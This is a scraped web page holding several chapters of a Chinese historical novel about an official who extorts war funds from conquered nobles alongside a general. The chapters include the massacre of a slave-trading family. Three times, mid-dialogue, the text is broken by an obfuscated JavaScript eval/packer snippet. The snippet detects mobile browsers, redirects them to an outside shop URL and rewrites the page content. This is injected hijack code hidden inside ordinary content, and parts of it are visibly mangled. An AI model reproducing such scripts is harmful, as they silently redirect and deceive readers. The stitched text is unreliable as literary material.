“程相在位的时候,匡国稳如泰山,可严相上了位,朝野内外却乱作一团,不久之后便被敌国吞并,百姓流离失所。”萧素玄望着身边人的眼睛,声音温柔,“月儿,你说这个结局是不是很可笑,程相国做了很多利民之事,百姓却只看到了他的虚伪,对那些建好的桥,修好的路照用不误,死后名声还被抹黑,严县令只是恪守了为人臣的本分,却被赞做盖世青天,公平吗?” 姜夙月无法回答。 萧素玄又接着道:“老师那时问我和木桪,若是为君,程浊严清谁更适合收为心腹。木桪选了严县令,他说从头到尾严县令都没有做错任何事,秉持清正之心这才是个好官,至于其他人的恶行和严县令本人是没有什么相干的,谁也不能左右别人的坏心思,而匡国灭亡那也是大势所趋,不能算到一个人头上。程相国虽做了些虚伪之举,但也不过是想营造一个好名声罢了,他舞弄权柄、藐视皇权,根本算不得一个良臣。” “他是……这么选的吗?”姜夙月心底生出一丝抗拒。 “月儿,如果换作是你,你会选谁?” 她选谁?姜夙月看向说话的人,那双眼里的感情一直不曾变过,数十年如一日不曾变过,为什么?她出神地反问:“那你呢,你选了谁?” 萧素玄没听到她的回答也没在意,道:“我没选。” “什么?” “我一个都没选,既是为君,什么人才挑不到,为何非要在这两个人里找心腹,程相虽有才但野心太大,让他掌权会干预朝政还会引领歪风邪气,严县令本事不高又容易后宅起火,所以两个人都放到小地方老老实实造福一方百姓还差不多。” “太傅明明问的是二者择其一该怎么选,你这是耍无赖。” “君王每一个决定都不能轻易做出选择,月儿,这就是责任的沉重之处。” 姜夙月沉默下来,素玄他……然而下一刻她忽地想起自己的来意,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872383|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对,我是在问你为什么重用那个贪官的,你怎么把话岔开了。” 萧素玄抬起手,轻轻摸了摸她的头,道:“月儿,我是想告诉你,我起用他是经过慎重考虑的,贪财并不代表奸恶,重用也不代表认可,我用他一时却不会用他一世,其实这也算我的私心,我不想让东齐之臣去做这招人恨的事情,我与他,不过是各取所需。” “贪官也有重用的价值吗?” “这世间谁都有存在的价值,哪怕他是个人尽皆知的贪官。” —— 一月前,边境。 付常昊看了看圣旨,又看了看面前一脸慈祥的老头子,不情不愿地伸出手邀他入军营,“既是陛下的旨意,末将自当遵从,请。” 彭方泉昂首挺胸地跟着付常昊走进营帐,毫不客气地在他桌前坐下,又自顾自地倒了杯茶。 付常昊见这他一点不见外的模样心中厌恶更甚,陛下怎么就找了这么个人来。 “付将军还傻站着干什么,快坐吧。” 这一副主人的架势是几个意思?付常昊暗自嘀咕,走到桌边坐下。 彭方泉也给他倒了杯茶,“以后咱们就是同僚了,幸会幸会。” “不必客气。”付常昊按下心中不耐,努力挤出一丝客套的笑容,“陛下的意思我明白,我会全力配合你的。” “外面都说付将军骁勇善战,嫉恶如仇,今日一见,传闻有虚呀,被我这种奸臣压在头上,你居然没给我一拳。” 付常昊一愣,继而仔细地瞧了瞧对面人的脸,还是慈眉善目,仿佛刚刚的话不是他说的。“你什么意思?” 彭方泉的脸上露出一丝狡猾,“付将军,齐皇找来一个贪官,还让你便宜行事,听从于我,你就真的一点也不生气?” “我相信陛下。” “相信?”彭方泉笑了,“这两个字分量可不轻啊,东齐先帝在时对乔东鸣是何等信任,举国兵力皆交于他手,从不干涉御敌之事,可你呢,明明救他于危难之中,明明获得了惊世胜利,却要被一个小人指手画脚,公平吗?” 付常昊皱起眉头,这人有病吧。 彭方泉还在继续,“他表面上十分看重你,可实际却处处贬低,如今乔东鸣已成独臂,一个年老残废,一个身强力壮,谁都看出来这元帅之位该换人了,他却还是不肯,那十几万大军如果交到你的手上,那该是何等风光。” “你……是想策反我?” “这帽子可扣得有点大,说几句实话而已,要收服那么多的城池也不是一朝一夕能办到的,往后多年咱们俩怕是要一直待在一起了,我只是想确认一下将军的心意。付将军,齐皇当初扶持你就是为了防止乔东鸣一家独大,现在留着乔东鸣也是为了防止你功高震主,他并不信任你,你真的要一直忠心下去吗。” 付常昊认真思考了一下,回答道:“就算这真是陛下的平衡之法也没关系,我不在乎。” “为什么?” “我祖父曾经说过,在什么位子上就干什么事,我只是个领兵之将,所思所想全都该在这三军之上,至于帝王的权衡之道,那不是我该多虑的,就像大人你,虽然我其实挺讨厌你,但公事公办,我不会做出为难举动的。” “付将军……真是率性之人哪。”彭方泉收起漫不经心的神色,“既如此,我也就不开玩笑了,关于此行,我有些话要交代。” 118. 取财 “齐皇找我来,无非是想兵不血刃地收缴战利品,钱这东西啊,好拿,却也不好拿,咱得讲究点技巧。” 付常昊听他这样说,颇为不解,“此话怎讲?” 彭方泉道:“强龙难压地头蛇,这可是老祖宗传下来的经验,你领着浩浩荡荡的大军攻占城池自是不成问题,但城易破,人却不好管,要是他们齐心协力,管教你吃个新鲜的包子都费劲,所以威逼利诱、分而化之都必不可少。” 付常昊见他说得认真,也坐直了身体,“愿闻其详。” “将军此去第一个要攻打的是百霜城,那地方因盛产……那个,催情散的主药白霜花而闻名,城内有个洪姓家族,富甲一方,我曾与之打过交道,他们明面上卖药,私下里做的却是奴隶买卖,当初想在我南楚皇都拓展一下门路,可我觉得这生意有损阴德就没同意。洪氏的当家人是个爱财如命的,定不会轻易屈服,到时候正好拿他做那警猴的鸡,以掷杯为号,将军记得场面血腥一点,千万不可心软。” “你这是要我杀了他?” “不是他,是他全家。” “啊?”付常昊万万没想到这人竟能脸不红心不跳地说出这么可怕的话,“陛下只是想取财,不至于要人家命吧。” 彭方泉却道:“他们家的手本就不干净,有此下场也不过分。” 付常昊感到奇怪,“奴隶买卖……也就跟人牙子差不多吧,哪里算恶事。” “付将军果真是出身将门啊,”彭方泉闻言摇摇头,“你见过哪个人牙子能挣得万贯家财的?” “什么意思?” “空口无凭,既然将军心有疑虑,届时可以先扣押那洪家主,然后去他府里搜一搜,你定会明白的。” 见彭方泉打哑谜,付常昊疑惑更甚。 彭方泉也没有多说的意思,又道:“还有,关于我为什么会成为钦差大臣,这对外得有个说法。” 付常昊被转移了注意力,“是陛下让你来的,还能有什么说法?” “你们陛下的圣旨只写了让我和你一道筹集军饷,可没写为什么是我,具体又该怎么做,山高皇帝远的,怎么宣扬全凭我们几张嘴,不是吗?” 付常昊只觉这些文臣都特别麻烦,说话总是云里雾里的,“胜者为王败者鱼肉,这本就很正常,你要怎么宣扬?” “我会向那些人炫耀自己是如何巧舌如簧取得齐皇信任,向他们表示出任这个钦差特使实际上就是想趁机狠狠捞一笔,只要肯献上足够多的钱,破财就能免灾,如果有舍不得银子的,你什么都不必说,只需表现得心中愤懑却不得不听我的话就够了,看我眼色行事,必要的时候再出言制止,当个和事佬给他们留些余财。” “这……”付常昊感觉自己变笨了,怎么有些听不懂这话的意思。 彭方泉还在继续说着自己的计划,“我很清楚该怎么分辨家境殷实和表面风光,更知道对于那些富户来说拿出多少才算是伤筋动骨却又不至于让他们狗急跳墙,这要钱啊,得有分寸。” 付常昊盯着对面的人,不说话。 彭方泉微微一笑,“我可是出了名的贪官谗臣,多迷惑一个齐皇也没什么吧,我唱白脸,你唱红脸,大家各司其职。” “你……为何如此?”付常昊终于明白了。 彭方泉笑容更甚,“恶人我来做,美名你们陛下收,不好吗?” 当然好,却没必要,付常昊想不通这人的用意,“你不需要做到这种地步的。” “反正我的名声已经臭不可闻,再差点也没什么。”彭方泉摸着手里的杯子,坦然道,“可他就不一样了,对一个君王来说民心很重要,能少一个被人指摘的就少一个吧。是我,巧言令色骗来了官位,是我,贪得无厌提议齐皇搜刮他们的家财,更是我,拿着鸡毛当令箭,压得你这个大将军一句公正话都不敢说,一切都是我这个奸佞干的。” 付常昊眼中闪过一丝莫名的情感,“你……” 彭方泉低下头,“万一最后事态急转直下,将军可愤而拔刀,我不介意诈死归隐。” “什么?” 彭方泉望着杯底浅茶里映出的脸,扯出一抹付常昊看不到的苦笑,“一切怨恨皆集于我,只要我得了惩罚,民怨马上就会平息,这是个很好的办法,你也不想你家陛下被人恨吧。” —— 百霜城守卫军不过五千余人,面对几十万的大军根本毫无还手之力,付常昊轻轻松松就占下了这块地方。 付常昊让下属送信给各大世家,邀他们于两日后的晚间于县衙参加宴席。 两日后。 百霜城有头有脸的人全都来到县衙,一见面就交头接耳起来,个个担心不已。 “这付常昊向我们募集军饷,这,这到底什么意思?” “还能是什么意思,找个冠冕堂皇的借口要咱们拿钱出来呗。” “那到底要多少啊。” “不用想也知道肯定不会少,唉,就怕他狮子大开口,要吞掉我们所有家底。” “不至于吧。” “怎么不至于,要是只打算要三五千银子,齐皇能把彭方泉那个老狐狸派过来吗,那可不是个善茬。” “就是,他顶着流言蜚语也要任用南楚弃臣,所图肯定不小,来者不善。” “没想到最后还是要并入东齐,早知道还不如跟太子一道归降呢。” “谁说不是,我有个亲戚在升州那边,他之前有写信过来说太子虽然带着他们投降,可齐皇除了打散各处驻军,关键位子换上他们自己的官员外并无其他举动,他们以前怎么过日子现在还怎么过日子,哪像我们,迎头就是一击啊。” “齐皇到底是看我们百霜城富庶想敲诈一笔还是打算咱们北梁都这样?” “我哪知道,自求多福吧。” 城内一群人焦心忧虑,城外,彭方泉正在给将士们训话。 “这段时间我的名字想必诸位都知道了,关于我的过往你们也该都聊过,废话我也不多说,反正你们只需要记住一件事,我呢,我来是帮你们添银子、添粮草、添兵器的,都是一根绳上的蚂蚱,可莫要因一点厌恶之心就闹出什么笑话来。 还有,攻下百霜城是件喜事,诸位可千万别一时意气违反军令,自毁前程,我明白你们当中有很多人习惯了烧杀抢掠,也明白有句话叫法不责众,但这城池可不比村庄,好东西多得是,咱能拿西瓜又何必去捡芝麻。 进城之后,你们别去抢那些布衣小民,他们那仨瓜俩枣的够干什么呀,到时候鼻涕眼泪抹你一身也找不着几个钱,那些大户就不一样了,衣服上扯下根金线都抵得上你们一个月的俸禄,省时又省力。 你们呀,一切就听从我的安排,我会想办法去敲诈那些有钱的人,你们就在后面帮我撑腰,最后得了银子大家一起分,多好。” 彭方泉的话似乎得到了将士们的认同,一群人窃窃私语,都没有跳出来反对。 见一切顺利,彭方泉和付常昊一起带兵赴宴。 百霜城的宴席上,彭方泉果真说到做到,眉飞色舞地讲起自己是怎么托人举荐见到了齐皇,又是怎么博得他信任拿到了这个钦差之位,那眼睛长天上去的样子看得底下众人个个咬牙切齿。 原来都是这个混蛋搞的鬼! 宴席过半,彭方泉终于说到正题,要求各大世家拿钱出来充当军饷。 图穷匕见啊,洪家主当仁不让地站了出来表示愿奉上一万两白银。 “一万两?”彭方泉轻蔑地瞧了他一眼,“洪家主是打发叫花子呢。” “这可不是一笔小钱,更何况在座这么多人,每家给一万两怎么着也该够了。” “打仗就是个无底洞你不会不知道吧,士兵们每天都要吃饭,战马也每天都要吃草,几万两银子够干什么?” “那你要多少?” “放心,我也不为难你们,各家能出多少出多少,钱嘛,本就是身外之物,换一时平安也算物尽其用了,对不对。”彭方泉晃着酒杯,神色得意,“至于洪家,你们祖产丰厚,就一百万两吧。” “你怎么不去抢!”洪家主怒不可遏。 “不然你以为我现在是在干什么!” 付常昊这时开口相劝:“彭大人,陛下是让你助我筹集军费, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889665|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这样扯虎皮未免有损我东齐声威……” 他话还没说完,那边就暴起一声:“付常昊!” 彭方泉指着付常昊的鼻子怒斥:“少在我面前摆什么大将军的架子,我做事还轮不到你指手画脚,哼,旁人奉承两句战神你还真拿自己当根葱了,无谋莽夫,信不信我写一封密信回去告你造反!” 付常昊一听这话急了,“你不要太过分!” “将军就该有将军的样子,你领兵打仗我管不着,可这军饷的事由我全权负责,说难听点你只是个护卫,少在我面前充大尾巴狼!” “你。”付常昊脸涨得通红。 彭方泉又转向洪家主,恶狠狠道:“一百万两,一个子儿都不能少,你给,咱们相安无事,你不给,洪家上下今天就一起去见阎王!” 洪家主气得跳脚,“你这老儿休要猖狂,我们百霜城虽然被破,但也不是任你们取用的钱袋子,想拿多少拿多少,你这般待我们,传出去就不怕引起世人非议。” 彭方泉毫无惧色,“我要是畏惧人言早找个洞躲着了,还能费心费力谋来这钦差的职位?齐皇可是答应了一成军费归我所有,你们不是都骂我贪官吗,好啊,我就贪给你们看,我光明正大地贪,亡国奴还敢在我面前叫嚣,付常昊,拿下他!” 付常昊身形未动。 彭方泉一把摔下酒杯,“你要违抗圣旨?” 瓷杯碎裂的声音在这本该热闹现在却寂静无比的宴席中格外清晰,付常昊面露纠结,但最终还是抬起了手,“抓住他。” 一队士兵上前将洪家主制住。 “去把洪家人的项上人头带来,就当为宴席助兴了。”彭方泉重新拿起酒壶倒下一杯酒,“付将军还不去,你不想多年辛苦获得的信任被外人毁掉吧,这君王疑心一旦生出可不好消除,你别把我惹毛了。” 付常昊握紧了拳头,神色几番变幻,“走。” 一道进入县衙的东齐士兵跟着付常昊走了大半,宴席众人面面相觑,都不敢有动作。 洪家。 付常昊带兵冲进了洪家,因着彭方泉先前的话,他让下属把洪家人找出来捆到一起,自己四处搜查起来。 洪家顿时陷入混乱。 付常昊在洪家到处翻看,确实有发现几间藏有财宝的密室,也无甚稀奇。 不过这洪家人的品位实在不俗,处处雕梁画栋,五步一景十步一观,小厮丫鬟无一不是俊俏漂亮的,几个妾侍更加美貌动人,就是这眼神……怎么一个个的都很麻木的样子。 付常昊找到了一处地窖,不,准确地说应该是地牢。 面容姣好的少男少女们惊恐地聚在一起,见他过来,瑟瑟发抖地全缩到角落。 有个胆大的小姑娘爬了过来,“你是东齐人吗,你穿着跟我爹爹一样的铠甲,你是不是东齐的,救我出去,求你救我出去,我要回家!” 隔着栅栏,付常昊能清晰地看清她的模样,很漂亮,细皮嫩肉的,一看就是娇养出来的孩子。 望着她身上的铁链和奴印,付常昊忽得就明白了彭方泉所言。 正经的人牙子……是挣不到万贯家财的。 付常昊挥刀斩断了铁锁,让找过来的手下带这些孩子出去,而他自己,默不作声地走出了地牢。 再看到阳光时,之前优雅的景观在他眼里竟变得有些可怕起来。 付常昊遇到了洪家的老夫人。 她看上去很慈祥,身边的丫鬟见到他大惊失色,跪求他能放过这个老人家,她说她是个很善良的人,经常施粥,救苦救难。 可付常昊看着洪老夫人满头的珠翠,身上要数位绣娘赶工一年才能织出的妆花缎,眼前浮现的却是地窖里那群眼里已经没有半分亮光的孩子们。 “嗤——”寒芒闪过,一个头颅掉落在地。 “啊——”丫鬟吓得放声尖叫起来。 这是付常昊的手上第一次沾染平民百姓的血,很意外,竟也是热的。 洪家被血洗,一个都没留。 片刻后,付常昊拎着一个包袱走出了洪家,面色冰冷,浑身是血,像一尊可怖的魔神。 119. 所谓忠臣 满身煞气的付常昊回到宴席,扔下一堆血淋淋的人头,“满意了?” 满座宾客无不倒吸一口凉气,那洪家主更是直接晕了过去。 彭方泉朗声笑道:“这才对嘛,识时务者为俊杰,我好,大家就都好,诸位,你们说是不是啊。” 众人如梦初醒,纷纷应是,低着头恭顺得像一群鹌鹑。 彭方泉十分得意,他让人给各位家主发下一张白纸。 “在这上面写下各家所能拿得出的银两,一个时辰后交上来,可一定要想清楚啊,我们只是筹集军费去打下一仗,没有时间在这里掘地三尺,筹够了马上就走,别人出得多点,你们自己当然也就少点了,是不是。” 众人心里跟明镜似的,这不就是让他们互相揭底吗?在人眼皮子底下交谈是没机会了,至于默契,这么多人谁能默契啊,万一有几个数目差距过大……眼前这一地人头就是前车之鉴。 钱没了还可以再挣,人没了……这钱也根本保不住。 诸位家主内心滴血,但也不敢不从,估量着平日里各家的往来,提笔写下了一个个数字。 隔日。 付常昊的军队从百霜城拉走一箱又一箱的金银,就连珠宝古董也另安排了人往他处变卖,就这样,他们在一双双怨恨恼火的眼睛注视下离开了。 彭方泉这一招屡试不爽,随着付常昊攻占的城池越来越多,他们搜刮的钱财也越来越多。 军中将士本来对这个贪官是很看不起的,但眼瞧人家随便说几句话就能拿到那么多的银两,而这些钱还是给他们的,一个个的也不好再对他摆脸色,态度逐渐变得恭敬起来。 当然,一切也并不是全无阻碍的。 断人财路如杀人父母,更何况是把本有的钱全部抢走,彭方泉嚣张言语和行为十分招怨,这一路上光是刺杀已经不下百回,付常昊从一开始的如临大敌到后来的司空见惯也仅仅用了几个月的时间。 及至后来,付常昊不得不把彭方泉安排到自己的营帐里同住,免得一个不留神他就被人弄死了。 —— 碎玉城。 袁方带着十来个下属立于城外,神色肃穆。 付常昊领兵到达的时候就见到这样一幅场景,“你是袁方?” “付战神竟然认得在下,真是荣幸。” “缘分啊,我怎么可能不认得将军,你就算化成灰我也认得!” 袁方看不明白付常昊脸上露出的百感交集,不过也没关系,不重要,反正一切都要结束了。 付常昊从往昔回忆中拉回思绪,道:“袁将军这是来接风的?” “身为北梁将,何敢谈相迎。”袁方摇摇头,“我是来抵御外敌的。” “抵御外敌?”付常昊狐疑,“那你还城门大开站在这里,而且就你身后这几个?” “一听说付战神将至,守城军吓破了胆,慌忙逃去邻县,而百姓们知道你这个不管平民专坑贵人老爷的大将军要来,昨晚趁着夜色把城门都给卸了,我这没有帮手,兵器也不剩几件,只好过来直面敌军了。” 付常昊闻言放声大笑,“哈哈哈,将军昔日统领三军是何等风光,如今竟也落得如此地步,民心背离,同僚相弃,真是狼狈啊。” “或许真是天理循环,王爷当初联合四国想要置齐皇于死地,覆灭东齐,却没想到自己反丢了性命,葬送我北梁。当年宫变两位殿下闹得厉害,其余皇子尽皆身殒,现在一个归顺,一个被杀,朝中宗室和权臣互不相让,各州各府也都各自为政,北梁现在不过一块砧板鱼肉,任中周和东齐随时过来切一块,我又能如何。” 袁方心里其实很矛盾,不知是埋怨太子多些,二殿下多些,还是自己多些。当年那场仗太子负伤而回,先帝迁怒于他,收回他的兵权贬为边军偏将,而后二王相争,他被太子一党排挤,不得不来到偏僻的碎玉城,现在这里也要归入东齐了……如果当初他没有一念之仁放过齐皇,是不是会有个不一样的结局? 可惜没有如果。 付常昊不知袁方心中的纠结,喊道:“你如今不过这区区十几人,何必徒作挣扎,白白送命。” 袁方惨然一笑,“岚城一战,付将军用两万人硬抗二十万大军,也不知当时是抱着什么样的心情做这等螳臂当车之举?” 付常昊得意的神色缓了下来,严肃道:“袁将军该明白,你们绝无胜算。” “只要我的脚下还有一寸北梁国土,只要我的身后还有一个北梁百姓,我就半步都不能退!”袁方拔剑。 付常昊见状也认真起来,“你想好了?” “马革裹尸本就是武将的宿命!” “好,是条汉子,我敬将军高义,谁都不准动!”付常昊吩咐众人,“上个月大比前十出列。” 十个士兵站了出来。 “宁做战死之魂,不做亡国之奴,众将士,随我出征!”袁方朝着东齐大军方向冲去。 “宁做战死魂,不做亡国奴,杀——!”他身后的十几个小兵跟着向前冲。 付常昊也拔出宝剑,“随我出征!” 这是一场一边倒的战争。 残阳如血,付常昊望着马蹄下鲜血淋漓的尸体,长叹一口气,“厚葬吧。” —— 碎玉城的敛财也十分顺利。 军营内成堆的金银财宝让彭方泉很高兴,这一高兴,他便贪杯多饮了一些酒。 主将营帐内,付常昊将醉醺醺的人扶到床边,“彭大人你喝醉了,早点休息。” “我没醉!” “别嘴硬了,躺下,我让人给你煮碗解酒汤。” “我真的没醉。”彭方泉满脸通红,“不信你问我问题,我肯定答得上来。” “是吗?”付常昊瞧着那双迷离的眼睛根本不信,于是伸出一根手指,“那你告诉我这是几?” “少来。”彭方泉拍开他的手,“你当我是三岁小儿耍着玩呢。” 付常昊无奈地摇摇头,“好,那年岁不小的彭方泉彭大人,你为什么要效忠我们陛下啊。” 彭方泉晃动着晕乎乎的脑袋,回答道:“你们陛下……是第一个说我是忠臣的人。” 付常昊一愣,他本就是随口说的,没想到还真有答案,“忠臣?” 彭方泉笑了笑,开始讲述起自己的过去。 “我虽出身名门,却是旁支中的旁支。从我有记忆以来家里就一直穷得揭不开锅,常常要饿肚子,小时候,看到街边白白软软的包子我总会馋得走不动道,可那些摊主们认得我,总是满面不耐地把我赶走,说买不起就别看,穷鬼! 有一年,爹娘带我去给一个长辈贺寿,可刚开始却连门都进不去,因为衣服太旧,我们差点被当作乞丐,看着爹娘讨好地对着看门的下人挤出笑脸,我非常难受。 可就算进了那座富丽堂皇的宅院,也没人看得起我们。一个满头珠翠的女子过来扫了我们三个一眼,嫌恶地嘀咕怎么又是打秋风的穷亲戚。 那声音虽轻,可我清清楚楚地听见了。 那女人跟身边人吩咐几句就又昂着头走了,而留下的那个丫鬟,也是个眼高于顶的,她拿来两锭银子,装作失手往地上一丢,硕大的银元宝就那样滚到了我的脚下。 我很想有骨气地把它们拿起来扔到那个丫鬟脸上,可我不敢,这可是好大一笔钱,够我们全家用一年的。 爹娘的脸色红了又白,白了又红,可最后却还是蹲下去,捡起银锭,揣进了怀里。 我好痛苦。 穷啊,一切都是因为一个穷字! 从那时起,我暗自发誓,总有一天我要挣很多很多钱,当人上人,过最富贵的生活,吃山珍海味,穿绫罗绸缎,住在用金子打造的屋子里!” “你……”付常昊没想到这彭大人也有这样窘迫的过去,他还以为这人天生贪财呢。 彭方泉一把抓住付常昊,越说越激动。 “我做官这些年兢兢业业,不曾出过一丝差错,为什么所有人都容不下我?本来要花十万两才能办成的事,我只需要五万两,最后报上去六万两,扣下一万两作为酬劳有何不可?” “好人恨我,坏人也恨我,不就是拿了几个钱吗,那些冤大头愿意给我送钱,不拿白不拿!” “我劫富济贫他们口诛笔伐,反倒是那些王氏宗亲专盯着那些好欺负的穷苦人家下手,他们只当没看见。几百亩良田就换一幅字画,他们知道一亩地够养活多少人的吗?他们懂什么呀!可谁觉得错了?没有人觉得他们错了,因为是皇亲国戚,所以天生就高人一等,所以压榨民脂民膏都是应该的!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903121|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是贪财,可我贪不代表着我就不想看到太平盛世,都说我贪,可他们哪个不贪,收人家的孝敬的时候收得比谁都快,一个个的,拿人钱财与人消灾,嘴上说着这是人情往来,可实际上还不是官官相护!” “没钱了就想着收税,但凡有点门路的商户哪个不是人精,几百两打点一下官差就能少交几千两的税银,苦的只有那些一文钱掰成两文花的百姓,只有那些什么都不懂只能等着剥削的贱民!” “举人功名就能免税百亩,那些个说得冠冕堂皇的清官,谁家名下不是挂着上千上万亩的良田,他们交税了吗,天天嚷嚷着忠君爱国,两袖清风,倒是把自己不该吞的交出来啊!” “还有那个贺炽翎,那一座座行宫,那些后妃们的吃穿花用,不要钱的吗,都是我,是我想尽办法从各个地方抠出来的,他凭什么高高在上地审判我!” “每年收上来的税就那么多,这里要用钱,那里也要用钱,我费了多少心思才平衡住各方,我为他做了多少啊,不过是捞点油水,不过是旁人的几句挑拨之言,他就对我生出嫌隙,觉得我是个天大的蛀虫。” “卫将军麾下二十万大军尽归东齐,他居然还松了口气,觉得不用每年支付大笔军费是甩了一个包袱,简直愚不可及!” “你知道吗,我被抄家下狱,其实还有不少私藏的钱财,我用那些钱买通了后宫得宠的妃子,吹耳边风保命。可真等圣旨下来,我还是有那么一点失望的,是他昭告天下我是个贪得无厌的奸臣贪官,举国皆知,这种时候最该做的就是当众杀之以平民愤,可他居然这么轻易放过我,白白折损我这么一个人才,就只得到一些金银珠宝,这买卖有眼睛的人都知道不划算!” “天天守着这么个烂摊子,周围还有一堆废物在拖后腿,我容易吗我。” “要不是为着这一颗忠君之心,我早掏空国库跑路了,管他去死!” 彭方泉说着说着就哭了,抱着付常昊泪流不止。 “你比我幸运,遇到这样一个宽容明理,还大方的主公,好好干,后世史书,肯定能有一段你们的君臣佳话。” 付常昊心中有所触动,“彭大人,陛下既然愿意用你,咱们现在又一切顺利,说不定日后……” “不可能了。”彭方泉声音里透着悲哀,“我早已声名狼藉,现在又干了这样天怒人怨的事,齐皇只要有点理智都不会再用我了,不过没关系,我还有银子,到头来我也只剩下银子了,银子好啊,能让你过上好日子,也不会背叛你……” —— 一年后,付常昊彻底打下北梁,收到陛下的军情批复后,他又转道前往南楚。 彭方泉在北梁雁过拔毛的事迹早已传到南楚,这一年的时间里,但凡肯花钱保命的都被放过了,耍小心思的全成了付战神的剑下亡魂。 南楚各大世家对彭方泉很了解,更清楚彭方泉也了解他们,生怕他回来秋后算账,忙摒弃前嫌聚到一起想办法。 付常昊的军队这一年钱粮充足,战力提升数倍,已经不可跟从前同日而语,在连破两路集结的散兵后,各大世家彻底失去斗志。 三个月后,南楚正式归降。 “彭大人,你近日饮酒过多,军医说你不能再喝了。”付常昊夺下彭方泉手里的酒壶。 月光下,彭方泉的脸十分苍白,“付将军,南楚皇室正式签下降书,归入东齐了。” “大喜事你怎么不高兴?” “要是皇上还在,大家有个主心骨,南楚不会变成这样的。”彭方泉喃喃道。 付常昊这才想起彭方泉可是南楚人呢,一时不好再说什么。 “我南楚就这么不受老天爷待见吗,其余四国皇室都有明主,就我们没有,哪怕是在北梁被嫌弃得不行的薛墨仁,给我们一个也好啊,起码他除了蠢一点懦弱一点也没别的了,我南楚怎么就摊上了这么个贺炽翎了呢,朝政不理,大事不明,连后宫都是一团糟! 卫将军在外浴血奋战,他抢人家妻子,宫里佳丽三千,他还要隔三岔五搜罗美人,先帝在的时候,能被选入宫中为嫔为妃还是件光宗耀祖的事,到了他,闹的人家姑娘一听说要进宫宁愿投井也不肯浪费光阴。 南楚没了啊! 付将军,以后这天下就没有南楚国了!” 彭方泉埋头痛哭。 120. 假戏真做 南楚皇都。 彭方泉举办宴席邀请各大世家,理由嘛,当然还是那个。 各家主收到信后欲哭无泪,都已经主动归降了,怎么还要掏空他们的家财? 有人想偷偷运走财物,可惜皇城各关口已被东齐军牢牢把持。 有人想私藏贵重宝物,可惜藏来藏去也只能藏起一点,都城内到处都是东齐士兵,根本避不开。 有人想策反卫靖的那些兵,却被他们一句“你们拖欠军饷锦衣玉食的时候我们在吃了上顿没下顿”给堵了回来。 有人想装傻只当没收到请柬,然后直接被东齐军找上门,颜面尽失地绑去了宴席。 有人想哭穷蒙混过关,平日里的俭朴作风刚好能充当伪装之色,可惜被彭方泉当场拆穿,在南楚为官多年,各家有多少家底他很清楚。 也有人选择正面硬刚,“你们都把北梁抢光了,还没凑够军费?” 彭方泉斜眼瞧他,“你见过有谁嫌钱多的?” “我们南楚已经归降,按东齐律令,你们不能再这样强夺我等家财!” “哼,少在我面前扯什么律令,只要本大人官职一日没撤,我就一日有权收军费,有意见,你跟齐皇去提啊。” “你。”那人气愤不已,“你明知我见不到齐皇!” “见不到就闭嘴,南楚已经亡国,你现在一介白身有什么资格在我面前叫嚣。” “明明薛墨仁主动投降齐皇根本没为难过他,你这是拿着鸡毛当令箭。” “你们能跟他比吗,人家那是带着半个北梁归顺的,有钱有势底有底气,你们呢,一群丧家犬,要不是打不过东齐军队你们能在这里低声下气的?” “你,彭方泉,你分明是在公报私仇!” “私仇,我跟你们有什么私仇?我不是罪有应得吗,全南楚都知道我报应不爽被众叛亲离抄家下狱,我现在不过是受了惩罚后又东山再起,公事公办啊。” “彭方泉,你也是南楚人,你就这么非要帮着外人欺压我等吗?” “麻烦你清醒一点,南楚已经没了,从你们窝囊地签下降书那一刻起就没了,还敢在我面前提什么大义!” “要不是你贪墨在先,吃里扒外在后,南楚也不会落得这个地步!” “嘿呀,你这不占理就胡搅蛮缠了是吧,你们哪家的银子不比我当初的多,怎么,那些钱是从天上掉下来的?你们自己蛀空国库在先,争权夺利致使无人抵抗外敌在后,现在倒想把锅扣我头上了,你们真是有脸!” “至少我们没帮着外人。” “家贼可比外人恶心得多!” 付常昊见他们吵得激烈,站出来打圆场,“二位莫要再争执,大喜的日子何苦来哉,彭大人,今日明明是我东齐一统南楚的好时候,你也别扫兴了吧。” 彭方泉恼火的眼神转向付常昊,“怎么,付将军是想改换门庭投靠南楚了?这么向着他们。” 付常昊面露愠色,“你说话不要总这么难听,咱们银钱已经够了,没有必要再惹出事端来。” “够了?哈,付常昊,做人要讲良心的,我想方设法地弄钱都是为了谁呀,你们跟在后面吃软饭还嫌上我了。” “你……”付常昊被这话说得尴尬,“少往自己脸上贴金,你不过就是贪图陛下允诺的那一成财物,哪里是为我们。” 